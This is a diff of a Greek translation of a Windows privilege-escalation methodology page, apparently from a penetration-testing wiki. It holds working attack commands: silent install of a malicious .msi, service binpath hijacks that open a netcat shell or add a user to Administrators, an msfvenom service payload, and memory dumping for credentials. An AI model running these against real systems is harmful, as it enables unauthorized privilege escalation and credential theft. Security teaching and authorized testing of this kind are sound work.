εκτελέσετε την εγκατάσταση του κακόβουλου `.msi` αρχείου στο παρασκήνιο: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Για να εκμεταλλευτείτε αυτήν την ευπάθεια, μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_ +Για να εκμεταλλευτείτε αυτή την ευπάθεια μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_ -## Antivirus και Ανιχνευτές +## Antivirus and Detectors -### Ρυθμίσεις Ελέγχου +### Ρυθμίσεις καταγραφής -Αυτές οι ρυθμίσεις αποφασίζουν τι καταγράφεται, οπότε θα πρέπει να δώσετε προσοχή +Αυτές οι ρυθμίσεις καθορίζουν τι **καταγράφεται**, οπότε πρέπει να προσέξετε ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Η προώθηση συμβάντων των Windows είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα αρχεία καταγραφής. +Windows Event Forwarding — είναι χρήσιμο να γνωρίζουμε πού αποστέλλονται τα logs ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, διασφαλίζοντας ότι κάθε κωδικός πρόσβασης είναι **μοναδικός, τυχαίος και ενημερώνεται τακτικά** σε υπολογιστές που είναι συνδεδεμένοι σε τομέα. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν λάβει επαρκείς άδειες μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς πρόσβασης διαχειριστή αν είναι εξουσιοδοτημένοι. +**LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών διαχειριστή**, διασφαλίζοντας ότι κάθε κωδικός είναι **μοναδικός, τυχαίος και ενημερώνεται τακτικά** σε υπολογιστές ενταγμένους σε domain. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες στους οποίους έχουν χορηγηθεί επαρκή δικαιώματα μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς διαχειριστή εάν είναι εξουσιοδοτημένοι. + {{#ref}} ../active-directory-methodology/laps.md @@ -294,36 +297,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Εάν είναι ενεργό, **οι κωδικοί πρόσβασης σε απλό κείμενο αποθηκεύονται στο LSASS** (Local Security Authority Subsystem Service).\ -[**Περισσότερες πληροφορίες σχετικά με το WDigest σε αυτή τη σελίδα**](../stealing-credentials/credentials-protections.md#wdigest). +Αν είναι ενεργό, **οι κωδικοί σε απλό κείμενο αποθηκεύονται στο LSASS** (Local Security Authority Subsystem Service).\ +[**Περισσότερες πληροφορίες για το WDigest σε αυτή τη σελίδα**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Αρχής γενομένης από το **Windows 8.1**, η Microsoft εισήγαγε ενισχυμένη προστασία για την Τοπική Αρχή Ασφαλείας (LSA) για να **μπλοκάρει** τις απόπειρες από μη αξιόπιστες διεργασίες να **διαβάσουν τη μνήμη** της ή να εισάγουν κώδικα, ενισχύοντας περαιτέρω την ασφάλεια του συστήματος.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +Από τα **Windows 8.1**, η Microsoft εισήγαγε ενισχυμένη προστασία για το Local Security Authority (LSA) ώστε να **αποτρέπει** προσπάθειες μη αξιόπιστων διεργασιών να **διαβάσουν τη μνήμη του** ή να εισάγουν κώδικα, ενισχύοντας περαιτέρω την ασφάλεια του συστήματος.\ +[**Περισσότερες πληροφορίες για το LSA Protection εδώ**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** εισήχθη στα **Windows 10**. Σκοπός του είναι να προστατεύει τα διαπιστευτήρια που είναι αποθηκευμένα σε μια συσκευή από απειλές όπως οι επιθέσεις pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** εισήχθη στα **Windows 10**. Ο σκοπός του είναι να προστατεύει τα credentials που αποθηκεύονται σε μια συσκευή από απειλές όπως οι επιθέσεις pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Διαπιστευτήρια τομέα** είναι αυθεντικοποιημένα από την **Τοπική Αρχή Ασφαλείας** (LSA) και χρησιμοποιούνται από τα συστατικά του λειτουργικού συστήματος. Όταν τα δεδομένα σύνδεσης ενός χρήστη αυθεντικοποιούνται από ένα καταχωρημένο πακέτο ασφαλείας, τα διαπιστευτήρια τομέα για τον χρήστη συνήθως καθορίζονται.\ -[**Περισσότερες πληροφορίες σχετικά με τα Cached Credentials εδώ**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** πιστοποιούνται από την **Local Security Authority** (LSA) και χρησιμοποιούνται από συστατικά του λειτουργικού συστήματος. Όταν τα στοιχεία σύνδεσης ενός χρήστη επαληθεύονται από ένα εγγεγραμμένο security package, τα domain credentials για τον χρήστη καθορίζονται συνήθως.\ +[**Περισσότερες πληροφορίες για Cached Credentials εδώ**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` ## Χρήστες & Ομάδες -### Καταμέτρηση Χρηστών & Ομάδων +### Απαρίθμηση Χρηστών & Ομάδων -Πρέπει να ελέγξετε αν κάποια από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα +Πρέπει να ελέγξετε εάν κάποιες από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα ```bash # CMD net users %username% #Me @@ -338,18 +341,20 @@ Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` -### Προνομιούχες ομάδες +### Ομάδες με προνόμια + +Αν ανήκετε σε κάποια **προνομιούχα ομάδα μπορεί να καταφέρετε να ανεβάσετε δικαιώματα**. Μάθετε για τις προνομιούχες ομάδες και πώς να τις εκμεταλλευτείτε για να ανεβάσετε δικαιώματα εδώ: -Αν **ανήκεις σε κάποια προνομιούχα ομάδα, μπορεί να είσαι σε θέση να αναβαθμίσεις τα προνόμιά σου**. Μάθε για τις προνομιούχες ομάδες και πώς να τις εκμεταλλευτείς για να αναβαθμίσεις τα προνόμιά σου εδώ: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Χειρισμός διακριτικών +### Token manipulation + +**Μάθετε περισσότερα** για το τι είναι ένα **token** σε αυτή τη σελίδα: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Δείτε την επόμενη σελίδα για να **μάθετε για ενδιαφέροντα tokens** και πώς να τα εκμεταλλευτείτε: -**Μάθε περισσότερα** για το τι είναι ένα **διακριτικό** σε αυτή τη σελίδα: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Δες την παρακάτω σελίδα για να **μάθεις για ενδιαφέροντα διακριτικά** και πώς να τα εκμεταλλευτείς: {{#ref}} privilege-escalation-abusing-tokens.md @@ -360,7 +365,7 @@ privilege-escalation-abusing-tokens.md qwinsta klist sessions ``` -### Φάκελοι αρχικής σελίδας +### Φάκελοι χρήστη ```bash dir C:\Users Get-ChildItem C:\Users @@ -369,16 +374,16 @@ Get-ChildItem C:\Users ```bash net accounts ``` -### Πάρτε το περιεχόμενο του clipboard +### Λήψη του περιεχομένου του πρόχειρου ```bash powershell -command "Get-Clipboard" ``` -## Εκτέλεση Διαδικασιών +## Εκτελούμενες Διεργασίες -### Άδειες Αρχείων και Φακέλων +### Δικαιώματα Αρχείων και Φακέλων -Πρώτα απ' όλα, καταγράψτε τις διαδικασίες **ελέγξτε για κωδικούς πρόσβασης μέσα στη γραμμή εντολών της διαδικασίας**.\ -Ελέγξτε αν μπορείτε να **επικαλύψετε κάποιο εκτελέσιμο που τρέχει** ή αν έχετε άδειες εγγραφής στον φάκελο του εκτελέσιμου για να εκμεταλλευτείτε πιθανές [**επιθέσεις DLL Hijacking**](dll-hijacking/index.html): +Πρώτα απ' όλα, καταγράφοντας τις διεργασίες **ελέγξτε για κωδικούς μέσα στη γραμμή εντολών της διεργασίας**.\ +Ελέγξτε αν μπορείτε να **αντικαταστήσετε κάποιο binary που εκτελείται** ή αν έχετε δικαιώματα εγγραφής στο binary folder για να εκμεταλλευτείτε πιθανές [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -389,9 +394,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Πάντα ελέγξτε για πιθανούς [**electron/cef/chromium debuggers** που εκτελούνται, μπορείτε να το εκμεταλλευτείτε για να κερδίσετε δικαιώματα**](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Ελέγχετε πάντα για πιθανή εκτέλεση [**electron/cef/chromium debuggers** — μπορείτε να τα εκμεταλλευτείτε για να αποκτήσετε αυξημένα προνόμια](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**Έλεγχος δικαιωμάτων των δυαδικών αρχείων των διαδικασιών** +**Έλεγχος των δικαιωμάτων των δυαδικών αρχείων των διεργασιών** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -400,7 +405,7 @@ icacls "%%z" ) ) ``` -**Έλεγχος δικαιωμάτων των φακέλων των δυαδικών αρχείων διεργασιών (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Έλεγχος των δικαιωμάτων των φακέλων των εκτελέσιμων αρχείων των διεργασιών (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -408,34 +413,34 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### Εξόρυξη Κωδικών από Μνήμη +### Memory Password mining -Μπορείτε να δημιουργήσετε μια απόθεση μνήμης μιας εκτελούμενης διαδικασίας χρησιμοποιώντας το **procdump** από τα sysinternals. Υπηρεσίες όπως το FTP έχουν τα **credentials σε καθαρό κείμενο στη μνήμη**, προσπαθήστε να αποθέσετε τη μνήμη και να διαβάσετε τα credentials. +Μπορείτε να δημιουργήσετε ένα memory dump μιας διεργασίας που εκτελείται χρησιμοποιώντας **procdump** από το sysinternals. Υπηρεσίες όπως το FTP έχουν τα **credentials in clear text in memory** — δοκιμάστε να κάνετε dump της μνήμης και να διαβάσετε τα credentials. ```bash procdump.exe -accepteula -ma ``` -### Insecure GUI apps +### Μη ασφαλείς GUI εφαρμογές -**Εφαρμογές που εκτελούνται ως SYSTEM μπορεί να επιτρέπουν σε έναν χρήστη να ανοίξει ένα CMD ή να περιηγηθεί σε καταλόγους.** +**Εφαρμογές που τρέχουν ως SYSTEM μπορεί να επιτρέψουν σε έναν χρήστη να εκκινήσει ένα CMD, ή να περιηγηθεί σε καταλόγους.** -Παράδειγμα: "Windows Help and Support" (Windows + F1), αναζητήστε "command prompt", κάντε κλικ στο "Click to open Command Prompt" +Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" -## Services +## Υπηρεσίες -Get a list of services: +Λάβετε μια λίστα υπηρεσιών: ```bash net start wmic service list brief sc query Get-Service ``` -### Άδειες +### Δικαιώματα -Μπορείτε να χρησιμοποιήσετε **sc** για να αποκτήσετε πληροφορίες σχετικά με μια υπηρεσία +Μπορείτε να χρησιμοποιήσετε **sc** για να λάβετε πληροφορίες για μια υπηρεσία ```bash sc qc ``` -Συνιστάται να έχετε το δυαδικό **accesschk** από το _Sysinternals_ για να ελέγξετε το απαιτούμενο επίπεδο δικαιωμάτων για κάθε υπηρεσία. +Συνιστάται να έχετε το εκτελέσιμο **accesschk** από το _Sysinternals_ για να ελέγξετε το απαιτούμενο επίπεδο προνομίων για κάθε υπηρεσία. ```bash accesschk.exe -ucqv #Check rights for different groups ``` @@ -446,29 +451,29 @@ accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[Μπορείτε να κατεβάσετε το accesschk.exe για XP από εδώ](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### Ενεργοποίηση υπηρεσίας -Αν έχετε αυτό το σφάλμα (για παράδειγμα με SSDPSRV): +Εάν αντιμετωπίζετε αυτό το σφάλμα (για παράδειγμα με SSDPSRV): -_Σφάλμα συστήματος 1058 έχει συμβεί._\ -_Η υπηρεσία δεν μπορεί να ξεκινήσει, είτε επειδή είναι απενεργοποιημένη είτε επειδή δεν έχει ενεργοποιημένες συσκευές που σχετίζονται με αυτήν._ +_System error 1058 has occurred._\ +_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ Μπορείτε να την ενεργοποιήσετε χρησιμοποιώντας ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**Λάβετε υπόψη ότι η υπηρεσία upnphost εξαρτάται από το SSDPSRV για να λειτουργήσει (για XP SP1)** +**Λάβετε υπόψη ότι η υπηρεσία upnphost εξαρτάται από SSDPSRV για να λειτουργήσει (for XP SP1)** -**Μια άλλη λύση** σε αυτό το πρόβλημα είναι η εκτέλεση: +**Another workaround** για αυτό το πρόβλημα είναι να εκτελέσετε: ``` sc.exe config usosvc start= auto ``` -### **Τροποποίηση διαδρομής δυαδικού αρχείου υπηρεσίας** +### **Modify service binary path** -Στο σενάριο όπου η ομάδα "Authenticated users" διαθέτει **SERVICE_ALL_ACCESS** σε μια υπηρεσία, είναι δυνατή η τροποποίηση του εκτελέσιμου δυαδικού αρχείου της υπηρεσίας. Για να τροποποιήσετε και να εκτελέσετε **sc**: +Στην περίπτωση όπου η ομάδα "Authenticated users" διαθέτει **SERVICE_ALL_ACCESS** σε μια υπηρεσία, είναι δυνατή η τροποποίηση του εκτελέσιμου αρχείου της υπηρεσίας. Για να τροποποιήσετε και να εκτελέσετε το **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -481,20 +486,20 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Τα δικαιώματα μπορούν να αναβαθμιστούν μέσω διαφόρων αδειών: +Η ανύψωση προνομίων μπορεί να γίνει μέσω διαφόρων δικαιωμάτων: -- **SERVICE_CHANGE_CONFIG**: Επιτρέπει την επαναδιαμόρφωση του δυαδικού αρχείου της υπηρεσίας. -- **WRITE_DAC**: Ενεργοποιεί την επαναδιαμόρφωση αδειών, οδηγώντας στην ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας. -- **WRITE_OWNER**: Επιτρέπει την απόκτηση ιδιοκτησίας και την επαναδιαμόρφωση αδειών. -- **GENERIC_WRITE**: Κληρονομεί την ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας. -- **GENERIC_ALL**: Κληρονομεί επίσης την ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας. +- **SERVICE_CHANGE_CONFIG**: Επιτρέπει την επαναδιαμόρφωση του εκτελέσιμου αρχείου της υπηρεσίας. +- **WRITE_DAC**: Επιτρέπει την αναδιαμόρφωση δικαιωμάτων, οδηγώντας στη δυνατότητα αλλαγής των ρυθμίσεων της υπηρεσίας. +- **WRITE_OWNER**: Επιτρέπει την απόκτηση ιδιοκτησίας και την αναδιαμόρφωση δικαιωμάτων. +- **GENERIC_WRITE**: Κληρονομεί τη δυνατότητα αλλαγής των ρυθμίσεων της υπηρεσίας. +- **GENERIC_ALL**: Επίσης κληρονομεί τη δυνατότητα αλλαγής των ρυθμίσεων της υπηρεσίας. Για την ανίχνευση και εκμετάλλευση αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το _exploit/windows/local/service_permissions_. -### Αδύναμες άδειες δυαδικών αρχείων υπηρεσιών +### Αδύναμα δικαιώματα στα εκτελέσιμα των υπηρεσιών -**Ελέγξτε αν μπορείτε να τροποποιήσετε το δυαδικό αρχείο που εκτελείται από μια υπηρεσία** ή αν έχετε **δικαιώματα εγγραφής στον φάκελο** όπου βρίσκεται το δυαδικό αρχείο ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Μπορείτε να αποκτήσετε κάθε δυαδικό αρχείο που εκτελείται από μια υπηρεσία χρησιμοποιώντας **wmic** (όχι στο system32) και να ελέγξετε τα δικαιώματά σας χρησιμοποιώντας **icacls**: +**Ελέγξτε αν μπορείτε να τροποποιήσετε το binary που εκτελείται από μια υπηρεσία** ή αν έχετε **write permissions on the folder** όπου βρίσκεται το binary ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Μπορείτε να πάρετε κάθε binary που εκτελείται από μια υπηρεσία χρησιμοποιώντας **wmic** (not in system32) και να ελέγξετε τα δικαιώματά σας χρησιμοποιώντας **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -506,10 +511,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Υπηρεσίες μητρώου τροποποίηση δικαιωμάτων +### Services registry τροποποίηση δικαιωμάτων -Πρέπει να ελέγξετε αν μπορείτε να τροποποιήσετε οποιοδήποτε μητρώο υπηρεσίας.\ -Μπορείτε να **ελέγξετε** τα **δικαιώματά** σας πάνω σε ένα **μητρώο** υπηρεσίας κάνοντας: +Πρέπει να ελέγξετε αν μπορείτε να τροποποιήσετε κάποιο service registry.\ +Μπορείτε να **ελέγξετε** τα **δικαιώματα** σας πάνω σε ένα service **registry** κάνοντας: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -518,32 +523,31 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Πρέπει να ελεγχθεί αν οι **Authenticated Users** ή οι **NT AUTHORITY\INTERACTIVE** διαθέτουν δικαιώματα `FullControl`. Αν ναι, το δυαδικό αρχείο που εκτελείται από την υπηρεσία μπορεί να τροποποιηθεί. +Πρέπει να ελεγχθεί αν οι **Authenticated Users** ή **NT AUTHORITY\INTERACTIVE** διαθέτουν δικαιώματα `FullControl`. Εάν ναι, το binary που εκτελείται από την υπηρεσία μπορεί να τροποποιηθεί. -Για να αλλάξετε τη διαδρομή του εκτελούμενου δυαδικού αρχείου: +Για να αλλάξετε το Path του binary που εκτελείται: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Υπηρεσίες μητρώου Άδειες AppendData/AddSubdirectory - -Αν έχετε αυτή την άδεια σε ένα μητρώο, αυτό σημαίνει ότι **μπορείτε να δημιουργήσετε υπομητρώα από αυτό**. Στην περίπτωση των υπηρεσιών Windows, αυτό είναι **αρκετό για να εκτελέσετε αυθαίρετο κώδικα:** +### Services registry AppendData/AddSubdirectory permissions +Αν έχετε αυτό το δικαίωμα πάνω σε ένα registry, αυτό σημαίνει ότι **μπορείτε να δημιουργήσετε υπο-registries από αυτό**. Στην περίπτωση των Windows services αυτό είναι **αρκετό για να εκτελέσετε αυθαίρετο κώδικα:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Μη αναφερόμενοι Διαδρομές Υπηρεσιών +### Unquoted Service Paths -Αν η διαδρομή προς ένα εκτελέσιμο δεν είναι μέσα σε εισαγωγικά, τα Windows θα προσπαθήσουν να εκτελέσουν κάθε τερματισμό πριν από ένα κενό. +Αν το path προς ένα εκτελέσιμο δεν βρίσκεται μέσα σε εισαγωγικά, τα Windows θα προσπαθήσουν να εκτελέσουν κάθε τμήμα του μονοπατιού που τελειώνει πριν από ένα κενό. -Για παράδειγμα, για τη διαδρομή _C:\Program Files\Some Folder\Service.exe_ τα Windows θα προσπαθήσουν να εκτελέσουν: +Για παράδειγμα, για το μονοπάτι _C:\Program Files\Some Folder\Service.exe_ τα Windows θα προσπαθήσουν να εκτελέσουν: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Καταγράψτε όλα τα μη παραquoted service paths, εξαιρώντας εκείνα που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows: +Καταγράψτε όλες τις διαδρομές υπηρεσιών χωρίς εισαγωγικά, εξαιρώντας αυτές που ανήκουν σε ενσωματωμένες υπηρεσίες Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -563,19 +567,20 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Μπορείτε να ανιχνεύσετε και να εκμεταλλευτείτε** αυτήν την ευπάθεια με το metasploit: `exploit/windows/local/trusted\_service\_path` Μπορείτε να δημιουργήσετε χειροκίνητα ένα δυαδικό αρχείο υπηρεσίας με το metasploit: +**Μπορείτε να εντοπίσετε και να εκμεταλλευτείτε** αυτή την ευπάθεια με το metasploit: `exploit/windows/local/trusted_service_path` +Μπορείτε να δημιουργήσετε χειροκίνητα ένα εκτελέσιμο αρχείο υπηρεσίας με το metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` -### Recovery Actions +### Ενέργειες Ανάκτησης -Τα Windows επιτρέπουν στους χρήστες να καθορίσουν ενέργειες που θα ληφθούν εάν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Εάν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, η εκμετάλλευση δικαιωμάτων μπορεί να είναι δυνατή. Περισσότερες λεπτομέρειες μπορούν να βρεθούν στην [επίσημη τεκμηρίωση](). +Τα Windows επιτρέπουν στους χρήστες να καθορίζουν ενέργειες που θα εκτελεστούν σε περίπτωση αποτυχίας μιας υπηρεσίας. Αυτή η λειτουργία μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα binary. Αν αυτό το binary είναι αντικαταστάσιμο, privilege escalation ενδέχεται να είναι δυνατή. Περισσότερες λεπτομέρειες θα βρείτε στην [official documentation](). -## Applications +## Εφαρμογές -### Installed Applications +### Εγκατεστημένες Εφαρμογές -Ελέγξτε **τα δικαιώματα των δυαδικών αρχείων** (ίσως μπορείτε να αντικαταστήσετε ένα και να εκμεταλλευτείτε τα δικαιώματα) και των **φακέλων** ([DLL Hijacking](dll-hijacking/index.html)). +Ελέγξτε τα **δικαιώματα των binaries** (ίσως μπορείτε να αντικαταστήσετε κάποιο και να οδηγηθείτε σε privilege escalation) και των **φακέλων** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -584,11 +589,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Δικαιώματα Εγγραφής +### Δικαιώματα εγγραφής -Ελέγξτε αν μπορείτε να τροποποιήσετε κάποιο αρχείο ρυθμίσεων για να διαβάσετε κάποιο ειδικό αρχείο ή αν μπορείτε να τροποποιήσετε κάποιο δυαδικό αρχείο που πρόκειται να εκτελεστεί από έναν λογαριασμό Διαχειριστή (schedtasks). +Ελέγξτε αν μπορείτε να τροποποιήσετε κάποιο config file για να διαβάσετε κάποιο ειδικό αρχείο ή αν μπορείτε να τροποποιήσετε κάποιο binary που πρόκειται να εκτελεστεί από έναν Administrator account (schedtasks). -Ένας τρόπος για να βρείτε αδύναμα δικαιώματα φακέλων/αρχείων στο σύστημα είναι να κάνετε: +Ένας τρόπος να βρείτε αδύναμα δικαιώματα φακέλων/αρχείων στο σύστημα είναι ο εξής: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -613,8 +618,9 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Εκτέλεση κατά την εκκίνηση -**Ελέγξτε αν μπορείτε να αντικαταστήσετε κάποιο μητρώο ή δυαδικό αρχείο που πρόκειται να εκτελεστεί από διαφορετικό χρήστη.**\ -**Διαβάστε** την **παρακάτω σελίδα** για να μάθετε περισσότερα σχετικά με ενδιαφέροντα **σημεία εκκίνησης για την κλιμάκωση δικαιωμάτων**: +**Ελέγξτε εάν μπορείτε να αντικαταστήσετε κάποια registry ή binary που πρόκειται να εκτελεστεί από διαφορετικό χρήστη.**\ +**Διαβάστε** την **παρακάτω σελίδα** για να μάθετε περισσότερα για ενδιαφέρουσες **autoruns locations για escalate privileges**: + {{#ref}} privilege-escalation-with-autorun-binaries.md @@ -622,21 +628,28 @@ privilege-escalation-with-autorun-binaries.md ### Οδηγοί -Αναζητήστε πιθανούς **παράξενους/ευάλωτους** οδηγούς τρίτων. +Αναζητήστε πιθανούς **third party weird/vulnerable** drivers ```bash driverquery driverquery.exe /fo table driverquery /SI ``` +If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. See the step‑by‑step technique here: + +{{#ref}} +arbitrary-kernel-rw-token-theft.md +{{#endref}} + + ## PATH DLL Hijacking -Αν έχετε **δικαιώματα εγγραφής μέσα σε έναν φάκελο που είναι παρών στο PATH** θα μπορούσατε να είστε σε θέση να υποκλέψετε μια DLL που φορτώνεται από μια διαδικασία και να **κλιμακώσετε τα δικαιώματα**. +Εάν έχεις **write permissions inside a folder present on PATH** μπορείς να hijack μια DLL που φορτώνεται από μια διεργασία και να **escalate privileges**. -Ελέγξτε τα δικαιώματα όλων των φακέλων μέσα στο PATH: +Έλεγξε τα δικαιώματα όλων των φακέλων που βρίσκονται στο PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Για περισσότερες πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτόν τον έλεγχο: +Για περισσότερες πληροφορίες σχετικά με τον τρόπο εκμετάλλευσης αυτού του ελέγχου: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -644,7 +657,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ## Δίκτυο -### Κοινές Χρήσεις +### Κοινόχρηστοι πόροι ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains @@ -654,7 +667,7 @@ net share #Check current shares ``` ### hosts file -Ελέγξτε για άλλους γνωστούς υπολογιστές που είναι σκληρά κωδικοποιημένοι στο αρχείο hosts +Ελέγξτε για άλλους γνωστούς υπολογιστές hardcoded στο hosts file ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -664,13 +677,13 @@ ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Ανοιχτές Θύρες +### Open Ports -Ελέγξτε για **περιορισμένες υπηρεσίες** από το εξωτερικό +Ελέγξτε για **περιορισμένες υπηρεσίες** από έξω ```bash netstat -ano #Opened ports? ``` -### Πίνακας Δρομολόγησης +### Πίνακας δρομολόγησης ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex @@ -680,29 +693,29 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A 